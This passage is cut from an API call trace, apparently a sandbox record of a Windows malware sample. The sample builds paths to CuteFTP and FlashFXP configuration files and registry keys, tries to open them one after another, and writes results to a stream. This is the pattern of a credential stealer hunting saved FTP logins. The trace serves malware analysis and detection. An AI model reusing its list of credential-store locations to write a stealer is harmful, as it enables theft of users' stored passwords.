Lite") returned 55 [0068.389] lstrlenA (lpString="\\*.*") returned 4 [0068.389] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x640dd8 [0068.389] lstrcpyA (in: lpString1=0x640dd8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite" [0068.389] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite\\*.*" [0068.389] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite\\*.*", lpFindFileData=0x12fd7e | out: lpFindFileData=0x12fd7e) returned 0xffffffff [0068.389] LocalFree (hMem=0x640dd8) returned 0x0 [0068.389] LocalFree (hMem=0x640d18) returned 0x0 [0068.390] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0068.390] lstrlenA (lpString="\\CuteFTP") returned 8 [0068.390] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6292f8 [0068.390] lstrcpyA (in: lpString1=0x6292f8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0068.390] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\CuteFTP" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\CuteFTP") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\CuteFTP" [0068.390] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\CuteFTP") returned 38 [0068.390] lstrlenA (lpString="\\sm.dat") returned 7 [0068.390] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x640d18 [0068.390] lstrcpyA (in: lpString1=0x640d18, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\CuteFTP" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\CuteFTP") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\CuteFTP" [0068.390] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\CuteFTP", lpString2="\\sm.dat" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\CuteFTP\\sm.dat") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\CuteFTP\\sm.dat" [0068.390] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Local\\CuteFTP\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x2f [0068.390] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x640dd0 [0068.390] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Local\\CuteFTP\\sm.dat", lpDst=0x640dd0, nSize=0x2f | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Local\\CuteFTP\\sm.dat") returned 0x2e [0068.390] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\CuteFTP\\sm.dat" (normalized: "c:\\users\\eebsym5\\appdata\\local\\cuteftp\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.390] LocalFree (hMem=0x640dd0) returned 0x0 [0068.390] LocalFree (hMem=0x640d18) returned 0x0 [0068.390] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\CuteFTP") returned 38 [0068.390] lstrlenA (lpString="\\*.*") returned 4 [0068.390] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x640d18 [0068.390] lstrcpyA (in: lpString1=0x640d18, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\CuteFTP" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\CuteFTP") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\CuteFTP" [0068.390] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\CuteFTP", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\CuteFTP\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\CuteFTP\\*.*" [0068.390] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\CuteFTP\\*.*", lpFindFileData=0x12fd7e | out: lpFindFileData=0x12fd7e) returned 0xffffffff [0068.390] LocalFree (hMem=0x640d18) returned 0x0 [0068.390] LocalFree (hMem=0x6292f8) returned 0x0 [0068.390] LocalFree (hMem=0x626a88) returned 0x0 [0068.390] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.390] SHGetFolderPathA (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Program Files") returned 0x0 [0068.391] lstrlenA (lpString="C:\\Program Files") returned 16 [0068.391] lstrlenA (lpString="\\GlobalSCAPE\\CuteFTP") returned 20 [0068.391] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6292f8 [0068.391] lstrcpyA (in: lpString1=0x6292f8, lpString2="C:\\Program Files" | out: lpString1="C:\\Program Files") returned="C:\\Program Files" [0068.391] lstrcatA (in: lpString1="C:\\Program Files", lpString2="\\GlobalSCAPE\\CuteFTP" | out: lpString1="C:\\Program Files\\GlobalSCAPE\\CuteFTP") returned="C:\\Program Files\\GlobalSCAPE\\CuteFTP" [0068.391] lstrlenA (lpString="C:\\Program Files\\GlobalSCAPE\\CuteFTP") returned 36 [0068.391] lstrlenA (lpString="\\sm.dat") returned 7 [0068.391] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x641518 [0068.391] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Program Files\\GlobalSCAPE\\CuteFTP" | out: lpString1="C:\\Program Files\\GlobalSCAPE\\CuteFTP") returned="C:\\Program Files\\GlobalSCAPE\\CuteFTP" [0068.391] lstrcatA (in: lpString1="C:\\Program Files\\GlobalSCAPE\\CuteFTP", lpString2="\\sm.dat" | out: lpString1="C:\\Program Files\\GlobalSCAPE\\CuteFTP\\sm.dat") returned="C:\\Program Files\\GlobalSCAPE\\CuteFTP\\sm.dat" [0068.391] ExpandEnvironmentStringsA (in: lpSrc="C:\\Program Files\\GlobalSCAPE\\CuteFTP\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x2d [0068.391] LocalAlloc (uFlags=0x40, uBytes=0xad) returned 0x6415d0 [0068.391] ExpandEnvironmentStringsA (in: lpSrc="C:\\Program Files\\GlobalSCAPE\\CuteFTP\\sm.dat", lpDst=0x6415d0, nSize=0x2d | out: lpDst="C:\\Program Files\\GlobalSCAPE\\CuteFTP\\sm.dat") returned 0x2c [0068.391] CreateFileA (lpFileName="C:\\Program Files\\GlobalSCAPE\\CuteFTP\\sm.dat" (normalized: "c:\\program files\\globalscape\\cuteftp\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.391] LocalFree (hMem=0x6415d0) returned 0x0 [0068.391] LocalFree (hMem=0x641518) returned 0x0 [0068.391] lstrlenA (lpString="C:\\Program Files\\GlobalSCAPE\\CuteFTP") returned 36 [0068.391] lstrlenA (lpString="\\*.*") returned 4 [0068.391] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x641518 [0068.391] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Program Files\\GlobalSCAPE\\CuteFTP" | out: lpString1="C:\\Program Files\\GlobalSCAPE\\CuteFTP") returned="C:\\Program Files\\GlobalSCAPE\\CuteFTP" [0068.391] lstrcatA (in: lpString1="C:\\Program Files\\GlobalSCAPE\\CuteFTP", lpString2="\\*.*" | out: lpString1="C:\\Program Files\\GlobalSCAPE\\CuteFTP\\*.*") returned="C:\\Program Files\\GlobalSCAPE\\CuteFTP\\*.*" [0068.391] FindFirstFileA (in: lpFileName="C:\\Program Files\\GlobalSCAPE\\CuteFTP\\*.*", lpFindFileData=0x12fd7e | out: lpFindFileData=0x12fd7e) returned 0xffffffff [0068.391] LocalFree (hMem=0x641518) returned 0x0 [0068.391] LocalFree (hMem=0x6292f8) returned 0x0 [0068.391] lstrlenA (lpString="C:\\Program Files") returned 16 [0068.391] lstrlenA (lpString="\\GlobalSCAPE\\CuteFTP Pro") returned 24 [0068.391] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x641518 [0068.391] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Program Files" | out: lpString1="C:\\Program Files") returned="C:\\Program Files" [0068.391] lstrcatA (in: lpString1="C:\\Program Files", lpString2="\\GlobalSCAPE\\CuteFTP Pro" | out: lpString1="C:\\Program Files\\GlobalSCAPE\\CuteFTP Pro") returned="C:\\Program Files\\GlobalSCAPE\\CuteFTP Pro" [0068.391] lstrlenA (lpString="C:\\Program Files\\GlobalSCAPE\\CuteFTP Pro") returned 40 [0068.391] lstrlenA (lpString="\\sm.dat") returned 7 [0068.391] LocalAlloc (uFlags=0x40, uBytes=0xb0) returned 0x6415d0 [0068.391] lstrcpyA (in: lpString1=0x6415d0, lpString2="C:\\Program Files\\GlobalSCAPE\\CuteFTP Pro" | out: lpString1="C:\\Program Files\\GlobalSCAPE\\CuteFTP Pro") returned="C:\\Program Files\\GlobalSCAPE\\CuteFTP Pro" [0068.391] lstrcatA (in: lpString1="C:\\Program Files\\GlobalSCAPE\\CuteFTP Pro", lpString2="\\sm.dat" | out: lpString1="C:\\Program Files\\GlobalSCAPE\\CuteFTP Pro\\sm.dat") returned="C:\\Program Files\\GlobalSCAPE\\CuteFTP Pro\\sm.dat" [0068.391] ExpandEnvironmentStringsA (in: lpSrc="C:\\Program Files\\GlobalSCAPE\\CuteFTP Pro\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x31 [0068.391] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x641688 [0068.391] ExpandEnvironmentStringsA (in: lpSrc="C:\\Program Files\\GlobalSCAPE\\CuteFTP Pro\\sm.dat", lpDst=0x641688, nSize=0x31 | out: lpDst="C:\\Program Files\\GlobalSCAPE\\CuteFTP Pro\\sm.dat") returned 0x30 [0068.391] CreateFileA (lpFileName="C:\\Program Files\\GlobalSCAPE\\CuteFTP Pro\\sm.dat" (normalized: "c:\\program files\\globalscape\\cuteftp pro\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.392] LocalFree (hMem=0x641688) returned 0x0 [0068.392] LocalFree (hMem=0x6415d0) returned 0x0 [0068.392] lstrlenA (lpString="C:\\Program Files\\GlobalSCAPE\\CuteFTP Pro") returned 40 [0068.392] lstrlenA (lpString="\\*.*") returned 4 [0068.392] LocalAlloc (uFlags=0x40, uBytes=0xad) returned 0x6415d0 [0068.392] lstrcpyA (in: lpString1=0x6415d0, lpString2="C:\\Program Files\\GlobalSCAPE\\CuteFTP Pro" | out: lpString1="C:\\Program Files\\GlobalSCAPE\\CuteFTP Pro") returned="C:\\Program Files\\GlobalSCAPE\\CuteFTP Pro" [0068.392] lstrcatA (in: lpString1="C:\\Program Files\\GlobalSCAPE\\CuteFTP Pro", lpString2="\\*.*" | out: lpString1="C:\\Program Files\\GlobalSCAPE\\CuteFTP Pro\\*.*") returned="C:\\Program Files\\GlobalSCAPE\\CuteFTP Pro\\*.*" [0068.392] FindFirstFileA (in: lpFileName="C:\\Program Files\\GlobalSCAPE\\CuteFTP Pro\\*.*", lpFindFileData=0x12fd7e | out: lpFindFileData=0x12fd7e) returned 0xffffffff [0068.392] LocalFree (hMem=0x6415d0) returned 0x0 [0068.392] LocalFree (hMem=0x641518) returned 0x0 [0068.392] lstrlenA (lpString="C:\\Program Files") returned 16 [0068.392] lstrlenA (lpString="\\GlobalSCAPE\\CuteFTP Lite") returned 25 [0068.392] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x641518 [0068.392] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Program Files" | out: lpString1="C:\\Program Files") returned="C:\\Program Files" [0068.392] lstrcatA (in: lpString1="C:\\Program Files", lpString2="\\GlobalSCAPE\\CuteFTP Lite" | out: lpString1="C:\\Program Files\\GlobalSCAPE\\CuteFTP Lite") returned="C:\\Program Files\\GlobalSCAPE\\CuteFTP Lite" [0068.392] lstrlenA (lpString="C:\\Program Files\\GlobalSCAPE\\CuteFTP Lite") returned 41 [0068.392] lstrlenA (lpString="\\sm.dat") returned 7 [0068.392] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x6415d0 [0068.392] lstrcpyA (in: lpString1=0x6415d0, lpString2="C:\\Program Files\\GlobalSCAPE\\CuteFTP Lite" | out: lpString1="C:\\Program Files\\GlobalSCAPE\\CuteFTP Lite") returned="C:\\Program Files\\GlobalSCAPE\\CuteFTP Lite" [0068.392] lstrcatA (in: lpString1="C:\\Program Files\\GlobalSCAPE\\CuteFTP Lite", lpString2="\\sm.dat" | out: lpString1="C:\\Program Files\\GlobalSCAPE\\CuteFTP Lite\\sm.dat") returned="C:\\Program Files\\GlobalSCAPE\\CuteFTP Lite\\sm.dat" [0068.392] ExpandEnvironmentStringsA (in: lpSrc="C:\\Program Files\\GlobalSCAPE\\CuteFTP Lite\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x32 [0068.392] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x641690 [0068.392] ExpandEnvironmentStringsA (in: lpSrc="C:\\Program Files\\GlobalSCAPE\\CuteFTP Lite\\sm.dat", lpDst=0x641690, nSize=0x32 | out: lpDst="C:\\Program Files\\GlobalSCAPE\\CuteFTP Lite\\sm.dat") returned 0x31 [0068.392] CreateFileA (lpFileName="C:\\Program Files\\GlobalSCAPE\\CuteFTP Lite\\sm.dat" (normalized: "c:\\program files\\globalscape\\cuteftp lite\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.392] LocalFree (hMem=0x641690) returned 0x0 [0068.392] LocalFree (hMem=0x6415d0) returned 0x0 [0068.392] lstrlenA (lpString="C:\\Program Files\\GlobalSCAPE\\CuteFTP Lite") returned 41 [0068.392] lstrlenA (lpString="\\*.*") returned 4 [0068.392] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x6415d0 [0068.392] lstrcpyA (in: lpString1=0x6415d0, lpString2="C:\\Program Files\\GlobalSCAPE\\CuteFTP Lite" | out: lpString1="C:\\Program Files\\GlobalSCAPE\\CuteFTP Lite") returned="C:\\Program Files\\GlobalSCAPE\\CuteFTP Lite" [0068.392] lstrcatA (in: lpString1="C:\\Program Files\\GlobalSCAPE\\CuteFTP Lite", lpString2="\\*.*" | out: lpString1="C:\\Program Files\\GlobalSCAPE\\CuteFTP Lite\\*.*") returned="C:\\Program Files\\GlobalSCAPE\\CuteFTP Lite\\*.*" [0068.392] FindFirstFileA (in: lpFileName="C:\\Program Files\\GlobalSCAPE\\CuteFTP Lite\\*.*", lpFindFileData=0x12fd7e | out: lpFindFileData=0x12fd7e) returned 0xffffffff [0068.392] LocalFree (hMem=0x6415d0) returned 0x0 [0068.392] LocalFree (hMem=0x641518) returned 0x0 [0068.392] lstrlenA (lpString="C:\\Program Files") returned 16 [0068.392] lstrlenA (lpString="\\CuteFTP") returned 8 [0068.392] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x641518 [0068.392] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Program Files" | out: lpString1="C:\\Program Files") returned="C:\\Program Files" [0068.392] lstrcatA (in: lpString1="C:\\Program Files", lpString2="\\CuteFTP" | out: lpString1="C:\\Program Files\\CuteFTP") returned="C:\\Program Files\\CuteFTP" [0068.392] lstrlenA (lpString="C:\\Program Files\\CuteFTP") returned 24 [0068.392] lstrlenA (lpString="\\sm.dat") returned 7 [0068.392] LocalAlloc (uFlags=0x40, uBytes=0xa0) returned 0x6415c0 [0068.392] lstrcpyA (in: lpString1=0x6415c0, lpString2="C:\\Program Files\\CuteFTP" | out: lpString1="C:\\Program Files\\CuteFTP") returned="C:\\Program Files\\CuteFTP" [0068.392] lstrcatA (in: lpString1="C:\\Program Files\\CuteFTP", lpString2="\\sm.dat" | out: lpString1="C:\\Program Files\\CuteFTP\\sm.dat") returned="C:\\Program Files\\CuteFTP\\sm.dat" [0068.393] ExpandEnvironmentStringsA (in: lpSrc="C:\\Program Files\\CuteFTP\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x21 [0068.393] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6292f8 [0068.393] ExpandEnvironmentStringsA (in: lpSrc="C:\\Program Files\\CuteFTP\\sm.dat", lpDst=0x6292f8, nSize=0x21 | out: lpDst="C:\\Program Files\\CuteFTP\\sm.dat") returned 0x20 [0068.393] CreateFileA (lpFileName="C:\\Program Files\\CuteFTP\\sm.dat" (normalized: "c:\\program files\\cuteftp\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.393] LocalFree (hMem=0x6292f8) returned 0x0 [0068.393] LocalFree (hMem=0x6415c0) returned 0x0 [0068.393] lstrlenA (lpString="C:\\Program Files\\CuteFTP") returned 24 [0068.393] lstrlenA (lpString="\\*.*") returned 4 [0068.393] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x6415c0 [0068.393] lstrcpyA (in: lpString1=0x6415c0, lpString2="C:\\Program Files\\CuteFTP" | out: lpString1="C:\\Program Files\\CuteFTP") returned="C:\\Program Files\\CuteFTP" [0068.393] lstrcatA (in: lpString1="C:\\Program Files\\CuteFTP", lpString2="\\*.*" | out: lpString1="C:\\Program Files\\CuteFTP\\*.*") returned="C:\\Program Files\\CuteFTP\\*.*" [0068.393] FindFirstFileA (in: lpFileName="C:\\Program Files\\CuteFTP\\*.*", lpFindFileData=0x12fd7e | out: lpFindFileData=0x12fd7e) returned 0xffffffff [0068.393] LocalFree (hMem=0x6415c0) returned 0x0 [0068.393] LocalFree (hMem=0x641518) returned 0x0 [0068.393] LocalFree (hMem=0x626a88) returned 0x0 [0068.393] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 6 Home\\QCToolbar", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe98 | out: phkResult=0x12fe98*=0x0) returned 0x2 [0068.393] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 6 Home\\QCToolbar", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe6c | out: phkResult=0x12fe6c*=0x0) returned 0x2 [0068.393] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 6 Home\\QCToolbar", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe40 | out: phkResult=0x12fe40*=0x0) returned 0x2 [0068.393] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 6 Professional\\QCToolbar", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe98 | out: phkResult=0x12fe98*=0x0) returned 0x2 [0068.393] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 6 Professional\\QCToolbar", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe6c | out: phkResult=0x12fe6c*=0x0) returned 0x2 [0068.393] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 6 Professional\\QCToolbar", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe40 | out: phkResult=0x12fe40*=0x0) returned 0x2 [0068.393] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 7 Home\\QCToolbar", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe98 | out: phkResult=0x12fe98*=0x0) returned 0x2 [0068.393] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 7 Home\\QCToolbar", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe6c | out: phkResult=0x12fe6c*=0x0) returned 0x2 [0068.393] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 7 Home\\QCToolbar", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe40 | out: phkResult=0x12fe40*=0x0) returned 0x2 [0068.393] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 7 Professional\\QCToolbar", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe98 | out: phkResult=0x12fe98*=0x0) returned 0x2 [0068.393] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 7 Professional\\QCToolbar", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe6c | out: phkResult=0x12fe6c*=0x0) returned 0x2 [0068.393] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 7 Professional\\QCToolbar", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe40 | out: phkResult=0x12fe40*=0x0) returned 0x2 [0068.393] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 8 Home\\QCToolbar", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe98 | out: phkResult=0x12fe98*=0x0) returned 0x2 [0068.393] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 8 Home\\QCToolbar", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe6c | out: phkResult=0x12fe6c*=0x0) returned 0x2 [0068.393] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 8 Home\\QCToolbar", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe40 | out: phkResult=0x12fe40*=0x0) returned 0x2 [0068.393] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 8 Professional\\QCToolbar", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe98 | out: phkResult=0x12fe98*=0x0) returned 0x2 [0068.393] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 8 Professional\\QCToolbar", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe6c | out: phkResult=0x12fe6c*=0x0) returned 0x2 [0068.393] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 8 Professional\\QCToolbar", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe40 | out: phkResult=0x12fe40*=0x0) returned 0x2 [0068.394] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.394] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.394] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x10, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0068.394] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.394] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.394] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0068.394] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.394] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.394] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0068.394] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0068.394] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x5, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.394] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.394] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe98 | out: phkResult=0x12fe98*=0x0) returned 0x2 [0068.394] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe6c | out: phkResult=0x12fe6c*=0x0) returned 0x2 [0068.394] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe40 | out: phkResult=0x12fe40*=0x0) returned 0x2 [0068.394] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe98 | out: phkResult=0x12fe98*=0x0) returned 0x2 [0068.395] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe6c | out: phkResult=0x12fe6c*=0x0) returned 0x2 [0068.395] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe40 | out: phkResult=0x12fe40*=0x0) returned 0x2 [0068.395] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe98 | out: phkResult=0x12fe98*=0x0) returned 0x2 [0068.395] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe6c | out: phkResult=0x12fe6c*=0x0) returned 0x2 [0068.395] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe40 | out: phkResult=0x12fe40*=0x0) returned 0x2 [0068.395] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe98 | out: phkResult=0x12fe98*=0x0) returned 0x2 [0068.395] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe6c | out: phkResult=0x12fe6c*=0x0) returned 0x2 [0068.395] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe40 | out: phkResult=0x12fe40*=0x0) returned 0x2 [0068.395] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe98 | out: phkResult=0x12fe98*=0x0) returned 0x2 [0068.395] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe6c | out: phkResult=0x12fe6c*=0x0) returned 0x2 [0068.395] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe40 | out: phkResult=0x12fe40*=0x0) returned 0x2 [0068.395] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe98 | out: phkResult=0x12fe98*=0x0) returned 0x2 [0068.395] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe6c | out: phkResult=0x12fe6c*=0x0) returned 0x2 [0068.395] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe40 | out: phkResult=0x12fe40*=0x0) returned 0x2 [0068.395] RegOpenKeyExA (in: 